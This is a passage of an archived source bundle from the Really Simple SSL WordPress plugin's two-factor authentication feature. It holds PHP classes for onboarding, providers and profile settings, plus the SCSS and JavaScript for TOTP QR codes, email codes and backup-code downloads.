            if ($handle !== 'rsssl-profile-settings') {
                return $tag;
            }
            return str_replace(' src', ' type="module" src', $tag);
        }, 10, 2);
        // Check if the backup codes are available.
        wp_enqueue_script('rsssl-profile-settings', $uri, array(), rsssl_version, true);

        remove_filter('script_loader_tag', function ($tag, $handle) {
            if ($handle !== 'rsssl-profile-settings') {
                return $tag;
            }
            return str_replace(' src', ' type="module" src', $tag);
        }, 10, 2);
        $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID)['rsssl_key'];

        wp_localize_script('rsssl-profile-settings', 'rsssl_onboard', array(
            'nonce' => wp_create_nonce('wp_rest'),
            'root' => esc_url_raw(rest_url(Rsssl_Two_Factor_On_Board_Api::NAMESPACE)),
            'login_nonce' => $login_nonce,
            'redirect_to' => isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
            'user_id' => $user->ID,
        ));

        // Let's show the onboarding screen.
        // Load the template.
        rsssl_load_template(
            'onboarding.php',
            array(
                'user' => $user,
                'login_nonce' => $login_nonce,
                'url' => $onboarding_url,
                'provider' => $provider,
                'redirect_to' => $redirect_to,
                'available_providers' => $available_providers,
                'interim_login' => $interim_login,
                'rememberme' => $rememberme,
                'primary_provider' => $primary_provider,
                'is_forced' => $is_forced,
                'grace_period' => $grace_period,
                'is_today' => Rsssl_Two_Factor_Settings::is_today($user),
                'skip_two_fa_url' => Rsssl_Two_Factor_Settings::rsssl_one_time_login_url($user->ID),
            ),
            rsssl_path . 'assets/templates/two_fa/'
        );
        wp_enqueue_script('rsssl-rest-settings');
        exit;
    }

    /**
     * Enqueues the RSSSL profile settings script.
     *
     * @return void
     */
    public static function enqueue_onboarding_scripts(): void
    {
        $uri = trailingslashit(rsssl_url) . 'assets/two-fa/rtl/two-fa-assets.min.js';
        $backup_codes = Rsssl_Two_Factor_Settings::get_backup_codes(get_current_user_id());
        // Check if the backup codes are available.
        wp_enqueue_script('rsssl-profile-settings', $uri, array(), rsssl_version, true);
    }

    public static function add_module_to_script($tag, $handle, $src)
    {
        // Change 'your-script-handle' to the handle used in wp_enqueue_script()
        if ('your-script-handle' === $handle) {
            // Add type="module" to the script tag
            $tag = '<script type="module" src="' . esc_url($src) . '"></script>';
        }
        return $tag;
    }

    /**
     * Enqueues the RSSSL profile settings stylesheet.
     *
     * @return void
     */
    public static function enqueue_onboarding_styles(): void
    {
        $uri = trailingslashit(rsssl_url) . 'assets/two-fa/rtl/two-fa-assets.min.css';
        wp_enqueue_style('rsssl-profile-settings', $uri, array(), rsssl_version);
    }
}


add_action(
    'init',
    static function () use ($rsssl_two_factor_compat) {
        Rsssl_Two_Factor::add_hooks($rsssl_two_factor_compat);
    }
);
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-compat.php000064400000002605147510273070023555 0ustar00<?php
/**
 * A compatibility layer for some of the most popular plugins.
 *
 * @package Two_Factor
 */

namespace RSSSL\Security\WordPress\Two_Fa;

/**
 * A compatibility layer for some of the most popular plugins.
 *
 * Should be used with care because ideally we wouldn't need
 * any integration specific code for this plugin. Everything should
 * be handled through clever use of hooks and best practices.
 */
class Rsssl_Two_Factor_Compat {
	/**
	 * Initialize all the custom hooks as necessary.
	 *
	 * @return void
	 */
	public function init() {
		/**
		 * Jetpack
		 *
		 * @see https://wordpress.org/plugins/jetpack/
		 */
		add_filter( 'rsssl_two_factor_rememberme', array( $this, 'jetpack_rememberme' ) );
	}

	/**
	 * Jetpack single sign-on wants long-lived sessions for users.
	 *
	 * @param boolean $rememberme Current state of the "remember me" toggle.
	 *
	 * @return boolean
	 */
	public function jetpack_rememberme( $rememberme ) {
		$action = filter_input( INPUT_GET, 'action', FILTER_CALLBACK, array( 'options' => 'sanitize_key' ) );

		if ( 'jetpack-sso' === $action && $this->jetpack_is_sso_active() ) {
			return true;
		}

		return $rememberme;
	}

	/**
	 * Helper to detect the presence of the active SSO module.
	 *
	 * @return boolean
	 */
	public function jetpack_is_sso_active() {
		return ( method_exists( 'Jetpack', 'is_module_active' ) && Jetpack::is_module_active( 'sso' ) );
	}
}
really-simple-ssl/security/wordpress/two-fa/assets/css/two-fa.scss000064400000000102147510273070021401 0ustar00@import "profile-settings.scss";
@import "two-fa-onboarding.scss";really-simple-ssl/security/wordpress/two-fa/assets/css/profile-settings.scss000064400000002014147510273070023506 0ustar00#two-factor-qr-code {
  display: flex; /* Enables Flexbox */
  justify-content: left; /* Centers horizontally */
  align-items: center; /* Centers vertically */
  width: 100%;
  min-height: 100%;
}

#qr-code-container {
  margin-bottom: 20px;
  position: relative;
  text-align: center;
  //right: 0;
}

#two-factor-totp-authcode {
 width: 100%;
}
tr.rsssl_verify_email {
  display: none;
}
.error {
  color: red;
  margin-top: -5px;
}

span.rsssl-backup-codes {
    padding: 5px;
  background: #fbebed;
  border-radius: 8px;
  box-shadow: rgba(0,0,0,0.1) 0 4px 6px -1px;
}

.input {
  margin-bottom: 5px !important;
}

#totp-key {
  cursor: pointer;
  display: flex; /* Enables Flexbox */
  justify-content: center; /* Centers horizontally */
  align-items: center; /* Centers vertically */
}

table.rsssl-table-two-fa {
  padding-bottom: 20px;
}

.rsssl-methods-tag {
  padding: 2px 5px;
  border: 1px solid #000;
  color: #000;
  margin-left: 5px;
  background: dimgrey;
  &.active {
    background: darkgreen;
    color: #fff;
  }
}really-simple-ssl/security/wordpress/two-fa/assets/css/two-fa-onboarding.scss000064400000003043147510273070023530 0ustar00/* Style radio inputs */
.radio-input {
  position: absolute;
  right: 0;
  margin-left: 10px; /* Adjust this value to your preferred spacing */
  vertical-align: middle;
  top: 5px;
}

/* Style radio labels */
.radio-label {
  display: inline-block;
  vertical-align: middle;
  width: 100%;
  position: relative;
  margin: 20px 0;
}

.badge {
  margin-left: 10px;
  padding: 2px 4px;
}

.badge-default {
  background-color: #e5e5e5;
  color: black;
}

.badge-enabled {
  background-color: #fbc43e;
  color: black;
}

/**
 * The following styles are for the onboarding form
 */
#two_fa_onboarding_form {
  margin-top: 20px;
}

#two_fa_onboarding_form div {
  transition: height 0.5s;
}

#skip_onboarding {
  margin-right: 20px;
}

.skip_container {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-top: 10px;
  a {
    text-decoration: none;
  }
}

.totp-submit {
  margin-top: 10px;
}

div.rsssl_step_one_onboarding {
  display: block;
}

div.rsssl_step_two_onboarding {
  display: none;
}

div.rsssl_step_three_onboarding {
  margin-top: 10px;
  display: none;
}

#two-factor-qr-code {
  display: flex; /* Enables Flexbox */
  justify-content: center; /* Centers horizontally */
  align-items: center; /* Centers vertically */
  min-width: 205px;
  min-height: 205px;
}

.error {
  color: red;
  margin-top: -5px;
}

.input {
  margin-bottom: 5px !important;
}

#totp-key {
  cursor: pointer;
  display: flex; /* Enables Flexbox */
  justify-content: center; /* Centers horizontally */
  align-items: center; /* Centers vertically */
}really-simple-ssl/security/wordpress/two-fa/assets/js/onboarding.js000064400000017036147510273070021631 0ustar00class Onboarding extends BaseAuth {

    init() {
        const translatableStrings = {
            keyCopied: 'Key copied',
        };

        let endpoints = ['do_not_ask_again', 'skip_onboarding'];
        let that = this;

        endpoints.forEach(endpoint => {
            let endpointsElement = this.getElement(endpoint);
            if (endpointsElement !== null) {
                endpointsElement.addEventListener('click', (event) => { // Use arrow function here
                    event.preventDefault();
                    // we call the performFetchOp method and then log the response
                    this.performFetchOp(`/${endpoint}`, this.settings)
                        .then(response => response.json())
                        // We log the data and redirect to the redirect_to URL
                        .then(data => window
                            .location
                            .href = data.redirect_to)
                        // We catch any errors and log them
                        .catch(this.logFetchError);
                });
            }
        });

        let endpointElem = this.getElement('rsssl_continue_onboarding');
        const handleClick = (event) => {
            event.preventDefault();
            let urlExtension = '';
            let selectedProvider = this.getCheckedInputValue('preferred_method');
            if (selectedProvider === 'email') {
                let data = {
                    provider: selectedProvider,
                    redirect_to: this.settings.redirect_to,
                    user_id: this.settings.user_id,
                    login_nonce: this.settings.login_nonce
                };
                urlExtension = '/save_default_method_email';
                this.performFetchOp(urlExtension, data)
                    .then(response => response.json())
                    .then(data => {
                        this.getElement('rsssl_step_one_onboarding').style.display = 'none';
                        const validation_check = document.getElementById("rsssl_step_three_onboarding");
                        validation_check.style.display = "block";
                        // Removing the 'click' event listener from the rsssl_continue_onboarding id button
                        endpointElem.addEventListener('click', (event) => handleValidation(event, data));
                        endpointElem.removeEventListener('click', handleClick);

                    })
                    .catch(that.logFetchError);
            } else if (selectedProvider === 'totp') {
                // Hiding step one and showing step two
                this.getElement('rsssl_step_one_onboarding').style.display = 'none';
                // We hide this element
                endpointElem.style.display = 'none';
                this.getElement('rsssl_step_two_onboarding').style.display = 'block';
            }
        }

        const handleValidation = async (event, data) => {
            event.preventDefault();
            let selectedProvider = this.getCheckedInputValue('preferred_method');
            let urlExtension = '/' + data.validation_action;
            let sendData = {
                user_id: this.settings.user_id,
                login_nonce: this.settings.login_nonce,
                redirect_to: this.settings.redirect_to,
                token: document.getElementById('rsssl-authcode').value,
                provider: selectedProvider
            };
            let response;
            try {
                response = await this.performFetchOp(urlExtension, sendData);
            } catch (err) {
                console.log('Fetch Error: ', err);
            }
            if (response && !response.ok) {
                let error = await response.json();
                this.displayTwoFaOnboardingError(error.error);
            }
            if (response && response.ok) {
                let data = await response.json();
                window.location.href = data.redirect_to;
            }
        };

        if (endpointElem !== null) {
            endpointElem.addEventListener('click', handleClick);
        }

        let totpSubmit = this.getElement('two-factor-totp-submit');
        if (totpSubmit !== null) {
            totpSubmit.addEventListener('click', async (event) => {
                event.preventDefault();
                let authCode = document.getElementById('two-factor-totp-authcode').value;
                let key = this.settings.totp_data.key;
                let selectedProvider = this.getCheckedInputValue('preferred_method');
                let sendData = {
                    'two-factor-totp-authcode': authCode,
                    provider: selectedProvider,
                    key: key,
                    redirect_to: this.settings.redirect_to,
                    user_id: this.settings.user_id,
                    login_nonce: this.settings.login_nonce
                };
                try {
                    let response = await this.performFetchOp('/save_default_method_totp', sendData);
                    if (!response.ok) {
                        let error = await response.json();
                            this.displayTwoFaOnboardingError(error.error);
                    } else {
                        let data = await response.json();
                        window.location.href = data.redirect_to;
                    }
                } catch (error) {
                    this.logFetchError(error);
                }
            });
        }

        let resendButton = this.getElement('rsssl-two-factor-email-code-resend');
        if(resendButton !== null) {
            resendButton.addEventListener('click', (event) => {
                event.preventDefault();
                let data = {
                    user_id: this.settings.user_id,
                    login_nonce: this.settings.login_nonce,
                    provider: 'email'
                };
                this.performFetchOp('/resend_email_code', data)
                    .then(response => response.json())
                    .then(data => {
                        this.displayTwoFaOnboardingError(data.message);
                    })
                    .catch(this.logFetchError);
            });
        }

        let downloadButton = this.getElement('download_codes');

        downloadButton.addEventListener('click', (e) => {
            e.preventDefault();
            this.download_codes();
        });

        this.getElement('two-factor-qr-code').addEventListener('click', function (e) {
            e.preventDefault();
            that.copyTextAndShowMessage();
        });

        this.getElement('totp-key').addEventListener('click', function (e) {
            e.preventDefault();
            that.copyTextAndShowMessage();
        });
        if (document.readyState === 'complete') {
            this.qr_generator();

        } else {
            this.qr_generator();
        }
    }

    displayTwoFaOnboardingError(error) {
        let loginForm = document.getElementById('two_fa_onboarding_form');
        if (loginForm) {
            let errorDiv = document.getElementById('login-message');
            if(!errorDiv) {
                errorDiv = document.createElement('div');
                errorDiv.id = 'login-message';
                errorDiv.className = 'notice notice-error message';
                loginForm.insertAdjacentElement('beforebegin', errorDiv);
            }
            errorDiv.innerHTML = `<p>${error}</p>`;
            setTimeout(() => {
                // removing the error box from the loginForm
                errorDiv.remove();
            }, 5000);
        }
    }
}really-simple-ssl/security/wordpress/two-fa/assets/js/BaseAuth.js000064400000010210147510273070021166 0ustar00class BaseAuth {
    constructor(root, settings) {
        this.root = root;
        this.settings = settings;
        this.translatableStrings = {
            keyCopied: this.settings.translatables.keyCopied,
            // ... add more strings as needed
        };
    }
    getElement = (id) => document.getElementById(id);

    getCheckedInputValue = (name) => document.querySelector(`input[name="${name}"]:checked`).value;

    /**
     * Performs a fetch operation.
     *
     * @param {string} urlExtension - The URL extension to perform the fetch operation on.
     * @param {Object} data - The data to be sent in the fetch operation.
     * @param {string} [method='POST'] - The HTTP method to be used in the fetch operation. Defaults to 'POST'.
     * @returns {Promise} - A Promise that resolves with the response of the fetch operation.
     */
    performFetchOp = (urlExtension, data, method = 'POST') => {
        let url = this.root + urlExtension;
        let fetchParams = {
            method: method,
            headers: {'Content-Type': 'application/json',},
        };
        if (method === 'POST') {
            fetchParams.body = JSON.stringify(data);
        }
        return fetch(url, fetchParams);
    };

    assignClickListener = (id, callback) => {
        const element = this.getElement(id);
        if (element) {
            element.addEventListener('click', function (e) {
                e.preventDefault();
                callback();
            });
        }
    }



    logFetchError = (error) => console.error('There has been a problem with your fetch operation:', error);

    /**
     * Generates a QR code for Two-Factor Authentication using the TOTP URL.
     * If the TOTP URL is not available, nothing will be generated.
     *
     * @function qr_generator
     * @returns {void} Nothing is returned.
     */
    qr_generator = () => {
        const totp_url = this.settings.totp_data.totp_url;
        if (!totp_url) {
            return;
        }

        let qr = qrcode(0, 'L');
        qr.addData(totp_url);
        qr.make();
        let qrElem = document.querySelector('#two-factor-qr-code a');
        if (qrElem != null) {
            qrElem.innerHTML = qr.createSvgTag(5);
        }
    };

    /**
     * Downloads backup codes as a text file.
     *
     * @function download_codes
     */
    download_codes = () => {
        let TextToCode = this.settings.totp_data.backup_codes;
        let TextToCodeString = '';
        TextToCode.forEach(function (item) {
            TextToCodeString += item + '\n';
        });
        let downloadLink = document.createElement('a');
        downloadLink.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(TextToCodeString));
        downloadLink.setAttribute('download', 'backup_codes.txt');
        downloadLink.style.display = 'none';
        document.body.appendChild(downloadLink);
        downloadLink.click();
        document.body.removeChild(downloadLink);
    };

    /**
     * This function copies the text from the `totp_data.key` property of the `settings` object
     * using the Clipboard API. It then shows a success message and reverts back to the original display
     * after a specified timeout.
     *
     * @function copyTextAndShowMessage
     * @memberof BaseAuth
     */
    copyTextAndShowMessage = () => {
        let text = this.settings.totp_data.key; // Get the text to be copied

        // Use Clipboard API to copy the text
        navigator.clipboard.writeText(text).then(() => {
            // Change the display of the key
            let originalText = this.getElement('totp-key').innerText;
            this.getElement('totp-key').innerText = this.translatableStrings.keyCopied;
            this.getElement('totp-key').style.color = 'green';

            // Revert back to original text after a timeout
            setTimeout(() => {
                this.getElement('totp-key').innerText = originalText;
                this.getElement('totp-key').style.color = ''; // Reset the color
            }, 2000); // Adjust timeout as needed

        }, function (err) {
            console.error(this.settings.translatables.keyCopiedFailed, err);
        });
    }

}really-simple-ssl/security/wordpress/two-fa/assets/js/initialize_two_fa.js000064400000005050147510273070023200 0ustar00/**
 * The Global rsssl_onboard object is defined in the PHP file that enqueues this script.
 * @global rsssl_onboard
 * It contains the following properties:
 * @typedef {Object} rsssl_onboard
 * @property {string} root - The root URL of the site.
 * @property {string} redirect_to - The URL to redirect to after the onboarding process is complete.
 * @property {string} user_id - The ID of the user.
 * @property {string} login_nonce - The nonce for the login.
 * @property {string} totp_data - The data for the TOTP.
 * @property {string} totp_data.totp_url - The URL for the TOTP.
 * @property {string} totp_data.backup_codes - The backup codes for the TOTP.
 * @property {string} totp_data.key - The key for the TOTP.
 * @property {string} totp_data.authcode - The authcode for the TOTP.
 * @property {string} totp_data.provider - The provider for the TOTP.
 * @property {string} totp_data.redirect_to - The URL to redirect to after the TOTP process is complete.
 */

/**
 * The Global rsssl_profile object is defined in the PHP file that enqueues this script.
 * @global rsssl_profile
 * It contains the following properties:
 * @typedef {Object} rsssl_profile
 * @property {string} root - The root URL of the site.
 * @property {string} redirect_to - The URL to redirect to after the profile process is complete.
 * @property {string} user_id - The ID of the user.
 * @property {string} login_nonce - The nonce for the login.
 * @property {string} totp_data - The data for the TOTP.
 * @property {string} totp_data.totp_url - The URL for the TOTP.
 * @property {string} totp_data.backup_codes - The backup codes for the TOTP.
 * @property {string} totp_data.key - The key for the TOTP.
 * @property {string} totp_data.authcode - The authcode for the TOTP.
 * @property {string} totp_data.provider - The provider for the TOTP.
 * @property {string} totp_data.redirect_to - The URL to redirect to after the TOTP process is complete.
 * @property {string} totp_data.email - The email for the TOTP.
 * @property {array} translatables - The translatable strings for the profile.
 * @property {string} translatables.keyCopied - The message to display when the key is copied.
 * @property {string} translatables.keyCopiedFailed - The error message to display.
 */

window.onload = function() {
    if(typeof rsssl_onboard !== 'undefined') {
        let onboarding = new Onboarding(rsssl_onboard.root, rsssl_onboard);
        onboarding.init();
    }

    if (typeof rsssl_profile !== 'undefined') {
        let profile = new Profile(rsssl_profile.root, rsssl_profile);
        profile.init();
    }
}really-simple-ssl/security/wordpress/two-fa/assets/js/profile.js000064400000014171147510273070021144 0ustar00class Profile extends BaseAuth {
    init() {

        this.assignClickListener('download_codes', this.download_codes);
        this.assignClickListener('two-factor-qr-code', this.copyTextAndShowMessage);
        this.assignClickListener('totp-key', this.copyTextAndShowMessage);

        const qrCodeContainer = this.getElement('qr-code-container');
        const enableCheckbox = this.getElement('two-factor-authentication');
        const tableRowSelection = this.getElement('selection_two_fa');
        const methodSelection = document.querySelectorAll('input[name="preferred_method"]');
        const validationEmail = document.getElementById('rsssl_verify_email');
        const change2faConfig = this.getElement('change_2fa_config');
        let that = this;
        if (qrCodeContainer) {
            qrCodeContainer.style.display = "none";
            if (!enableCheckbox.checked) {
                tableRowSelection.style.display = "none";
                qrCodeContainer.style.display = "none";
            }
        }
        if(enableCheckbox) {
            let parent = this;
            enableCheckbox.addEventListener("change", function () {
                if (this.checked) {
                    tableRowSelection.style.display = "table-row";
                    let selectedMethod = document.querySelector('input[name="preferred_method"]:checked');
                    if (selectedMethod && selectedMethod.value === "totp") {
                        qrCodeContainer.style.display = "block";
                        parent.qr_generator();
                    } else {
                        qrCodeContainer.style.display = "none";
                    }
                } else {
                    tableRowSelection.style.display = "none";
                    qrCodeContainer.style.display = "none";
                    let selectedMethod = document.querySelector('input[name="preferred_method"]:checked');
                    selectedMethod.value = "none";
                }
            });
        }

        if(methodSelection.length > 0 ) {
            let parent = this;
            methodSelection.forEach(function (element) {
                element.addEventListener("change", function () {
                    let selectedMethod = document.querySelector('input[name="preferred_method"]:checked').value;
                    if (selectedMethod === "totp") {
                        if(validationEmail) {
                            validationEmail.style.display = "none";
                        }
                        qrCodeContainer.style.display = "block";
                        parent.qr_generator();
                    } else if(selectedMethod === "email") {
                        qrCodeContainer.style.display = "none";
                        if(validationEmail) {
                            validationEmail.style.display = "table-row";
                        }
                        let data = {
                            provider: selectedMethod,
                            user_id: rsssl_profile.user_id,
                            login_nonce: document.getElementById('rsssl_two_fa_nonce').value,
                            redirect_to: rsssl_profile.redirect_to,
                            profile: true
                        };
                        let urlExtension = '/save_default_method_email_profile';
                        that.performFetchOp(urlExtension, data)
                            .then(response => response.json())
                            .catch(that.logFetchError);
                    } else {
                        qrCodeContainer.style.display = "none";
                    }
                });
            });
        }

        let resendButton = this.getElement('rsssl_resend_code');
        if(resendButton !== null) {
            resendButton.addEventListener('click', (event) => {
                event.preventDefault();
                let data = {
                    user_id: this.settings.user_id,
                    login_nonce: document.getElementById('rsssl_two_fa_nonce').value,
                    provider: 'email',
                    profile: true
                };
                this.performFetchOp('/resend_email_code', data)
                    .then(response => response.json())
                    .then(data => {
                        let errorDiv = document.getElementById('login-message');
                        let inPutField = document.getElementById('rsssl-two-factor-email-code');
                        if (inPutField) {
                            if (!errorDiv) {
                                errorDiv = document.createElement('p');
                                errorDiv.classList.add('notice', 'notice-success');
                                inPutField.insertAdjacentElement('afterend', errorDiv);
                            }
                            errorDiv.innerHTML = `<p>${data.message}</p>`;
                            // Fading the meassage after 5 seconds
                            setTimeout(() => {
                                // removing the error box from the loginForm
                                errorDiv.remove();
                            }, 5000);
                        }
                    })
                    .catch(this.logFetchError);
            });
        }


        if (change2faConfig) {
            change2faConfig.addEventListener('click', function (e) {
                e.preventDefault();
                let inputField = document.createElement('input');
                inputField.setAttribute('type', 'hidden');
                inputField.setAttribute('name', 'change_2fa_config_field');
                inputField.setAttribute('value', 'true');
                document.getElementById('change_2fa_config').insertAdjacentElement('afterend', inputField);
                // we uncheck Enable Two-Factor Authentication
                let enableCheckbox = document.getElementById("two-factor-authentication");
                enableCheckbox.checked = false;
                let profileForm = document.getElementById('your-profile');
                if (profileForm) {
                    profileForm.requestSubmit();
                }
            });
        }
    }
}really-simple-ssl/security/wordpress/two-fa/class-rsssl-provider-loader.php000064400000011077147510273070023310 0ustar00<?php
/**
 * This file contains the Rsssl_Provider_Loader class.
 * This class is responsible for loading and managing Two-Factor authentication providers.
 *
 * @package RSSSL\Pro\Security\WordPress\Two_Fa
 * @subpackage Providers
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use Exception;
use WP_User;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Totp;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Email;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Fa_Status;

/**
 * Class Rsssl_Provider_Loader
 *
 * This class is responsible for loading and managing Two-Factor authentication providers.
 *
 * @package RSSSL\Pro\Security\WordPress\Two_Fa
 * @subpackage Providers
 */
class Rsssl_Provider_Loader {

	public const METHODS = array( 'totp', 'email' ); // This is a list of all available methods.

	/**
	 * For each provider, include it and then instantiate it.
	 *
	 * @return array
	 * @since 0.1-dev
	 */
	public static function get_providers(): array {
		$providers = array(
			Rsssl_Two_Factor_Email::class => __DIR__ . '/class-rsssl-two-factor-email.php',
			Rsssl_Two_Factor_Totp::class  => __DIR__ . '/class-rsssl-two-factor-totp.php',
		);

		/**
		 * Filter the supplied providers.
		 *
		 * This lets third-parties either remove providers (such as Email), or
		 * add their own providers (such as text message or Clef).
		 *
		 * @param  array  $providers  A key-value array where the key is the class name, and
		 *                         the value is the path to the file containing the class.
		 */
		$providers = apply_filters( 'rsssl_two_factor_providers', $providers );

		/**
		 * For each filtered provider,
		 */
		foreach ( $providers as $class => $path ) {
			include_once $path;

			/**
			 * Confirm that it's been successfully included before instantiating.
			 */
			if ( class_exists( $class ) ) {
				try {
					$providers[ $class ] = call_user_func( array( $class, 'get_instance' ) );
				} catch ( Exception $e ) {
					unset( $providers[ $class ] );
				}
			}
		}

		return $providers;
	}

	/**
	 * Get all Two-Factor Auth providers that are enabled for the specified|current user.
	 *
	 * @param  WP_User $user  Optional. User ID, or WP_User object of the user. Defaults to current user.
	 *
	 * @return array
	 */
	public static function get_enabled_providers_for_user( WP_User $user ): array {

		$enabled_providers = self::get_user_enabled_providers( $user );
		$statuses          = Rsssl_Two_Fa_Status::get_user_two_fa_status( $user );

		$forced_providers  = array();

		foreach ( $statuses as $method => $status ) {
			/**
			 * Check if the provider is forced for the user.
			 *
			 * @var Rsssl_Two_Factor_Provider_Interface $provider_class
			 */
			$provider_class = 'RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_' . ucfirst( $method );


			if ( in_array( $status, array( 'active', 'open', 'disabled' ), true ) && $provider_class::is_enabled( $user ) ) {
				$forced_providers[] = $provider_class;
			}
		}

		if ( ! empty( $forced_providers ) ) {
			$enabled_providers = $forced_providers;
		} else {
			foreach ( $enabled_providers as $key => $enabled_provider ) {
				/**
				 * Check if the provider is optional for the user.
				 *
				 * @var Rsssl_Two_Factor_Provider_Interface $enabled_provider
				 */
				if ( ! $enabled_provider::is_optional( $user ) ) {
					unset( $enabled_providers[ $key ] );
				}
			}
		}
		return $enabled_providers;
	}

	/**
	 * This isn't currently set anywhere, but allows to add more providers in the future.
	 *
	 * @param WP_User $user The user to check.
	 *
	 * @return array|string[]
	 */
	public static function get_user_enabled_providers( WP_User $user ): array {
		$enabled_providers = array();
		if ( true === Rsssl_Two_Factor_Totp::is_enabled( $user ) ) {
			$enabled_providers[] = Rsssl_Two_Factor_Totp::class;
		}
		if ( true === Rsssl_Two_Factor_Email::is_enabled( $user ) ) {
			$enabled_providers[] = Rsssl_Two_Factor_Email::class;
		}

		return $enabled_providers;
	}

	/**
	 * Get the enabled providers for the user's roles.
	 *
	 * @param WP_User $user The user object.
	 *
	 * @return array The enabled providers.
	 */
	public static function get_enabled_providers_for_roles( WP_User $user ): array {
		// First get all the providers that are enabled for the user's role.
		$totp = Rsssl_Two_Factor_Totp::is_enabled( $user );
		$email = Rsssl_Two_Factor_Email::is_enabled( $user );

		// Put the enabled providers in an array.
		$enabled_providers = array();
		if ( $totp ) {
			$enabled_providers[] = 'totp';
		}
		if ( $email ) {
			$enabled_providers[] = 'email';
		}

		// Return the enabled providers.
		return $enabled_providers;
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-provider.php000064400000006766147510273070024140 0ustar00<?php
/**
 * Abstract class for creating two factor authentication providers.
 *
 * @package Two_Factor
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * Abstract class for creating two-factor authentication providers.
 *
 * @since 7.0.6
 *
 * @package Two_Factor
 */
abstract class Rsssl_Two_Factor_Provider {

	/**
	 *  The instance of the provider.
	 *
	 * @var Rsssl_Two_Factor_Provider
	 */
	public $instance;

	/**
	 * Class constructor.
	 *
	 * @since 0.1-dev
	 */
	protected function __construct() {
		$this->instance = $this;
	}

	/**
	 * Returns the name of the provider.
	 *
	 * @since 0.1-dev
	 *
	 * @return string
	 */
	abstract public function get_label();

	/**
	 * Prints the name of the provider.
	 *
	 * @since 0.1-dev
	 */
	public function print_label() {
		echo esc_html( $this->get_label() );
	}

	/**
	 * Prints the form that prompts the user to authenticate.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @since 0.1-dev
	 */
	abstract public function authentication_page( WP_User $user );

	/**
	 * Allow providers to do extra processing before the authentication.
	 * Return `true` to prevent the authentication and render the
	 * authentication page.
	 *
	 * @param  WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function pre_process_authentication( $user ) {
		return false;
	}

	/**
	 * Validates the users input token.
	 *
	 * @since 0.1-dev
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	abstract public function validate_authentication( $user );

	/**
	 * Whether this Two Factor provider is configured and available for the user specified.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	abstract public function is_available_for_user( $user );

	/**
	 * Generate a random eight-digit string to send out as an auth code.
	 *
	 * @since 0.1-dev
	 *
	 * @param int          $length The code length.
	 * @param string|array $chars Valid auth code characters.
	 * @return string
	 */
	public static function get_code( $length = 8, $chars = '1234567890' ): string {
		$code = '';
		if ( is_array( $chars ) ) {
			$chars = implode( '', $chars );
		}
		for ( $i = 0; $i < $length; $i++ ) {
			$code .= substr( $chars, wp_rand( 0, strlen( $chars ) - 1 ), 1 );
		}
		return $code;
	}

	/**
	 * Sanitizes a numeric code to be used as an auth code.
	 *
	 * @param string $field  The _REQUEST field to check for the code.
	 * @param int    $length The valid expected length of the field.
	 *
	 * @return false|string Auth code on success, false if the field is not set or not expected length.
	 */
	public static function sanitize_code_from_request( string $field, int $length = 0 ) {
		if ( empty( $_REQUEST[ $field ] ) ) {
			return false;
		}

		$code = wp_unslash( $_REQUEST[ $field ] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, handled by the core method already.
		$code = preg_replace( '/\s+/', '', $code );

		// Maybe validate the length.
		if ( $length && strlen( $code ) !== $length ) {
			return false;
		}

		return (string) $code;
	}

	/**
	 * Set user status.
	 *
	 * This function updates the 'rsssl_two_fa_status' user meta key with the provided status.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $status The user status.
	 *
	 * @return void
	 * @since 1.0.0
	 */
	public static function set_user_status( int $user_id, string $status ): void {
		update_user_meta( $user_id, 'rsssl_two_fa_status', $status );
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php000064400000040366147510273070025576 0ustar00<?php
/**
 * Holds the logic for the profile page.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

//require_once __DIR__ . '/class-rsssl-provider-loader.php';
//require_once __DIR__ . '/class-rsssl-parameter-validation.php';
//require_once __DIR__ . '/class-rsssl-parameter-validation.php';
//require_once __DIR__ . '/class-rsssl-two-factor-on-board-api.php';
ob_start();

use Exception;
use WP_User;

if (!class_exists('Rsssl_Two_Factor_Profile_Settings')) {
    /**
     * Class Rsssl_Two_Factor_Profile_Settings
     *
     * This class is responsible for handling the Two-Factor Authentication settings on the user profile page.
     *
     * @package REALLY_SIMPLE_SSL
     */
    class Rsssl_Two_Factor_Profile_Settings
    {

        /**
         * The available providers.
         *
         * @var array $available_providers An array to store the available providers.
         */
        private $available_providers = array();

        /**
         * The forced Two-Factor Authentication roles.
         *
         * @var array $forced_two_fa An array to store the forced Two-Factor Authentication roles.
         */
        private $forced_two_fa = array();

        /**
         * Constructor for the class.
         *
         * If the user is logged in, retrieve the user object and check if two-factor authentication is turned on for the user.
         * If two-factor authentication is enabled, add the necessary hooks.
         *
         * @return void
         */
        public function __construct()
        {
            if (is_user_logged_in()) {
                $user_id = get_current_user_id();
                $user = get_user_by('ID', $user_id);
                global $pagenow;

                if ('profile.php' === $pagenow || ('user-edit.php' === $pagenow && isset($_GET['user_id']))) {
                    if ($this->validate_two_turned_on_for_user($user)) {
                        add_action('admin_init', array($this, 'add_hooks'));
                    }
                }
            }
        }

        /**
         * Add hooks for user profile page.
         *
         * This method adds hooks to display the Two-Factor Authentication settings on user profile pages.
         *
         * @return void
         */
        public function add_hooks(): void
        {
            if (is_user_logged_in()) {
                $errors = Rsssl_Parameter_Validation::get_cached_errors(get_current_user_id());
                if (!empty($errors)) {
                    // We display the errors.
                    foreach ($errors as $error) {
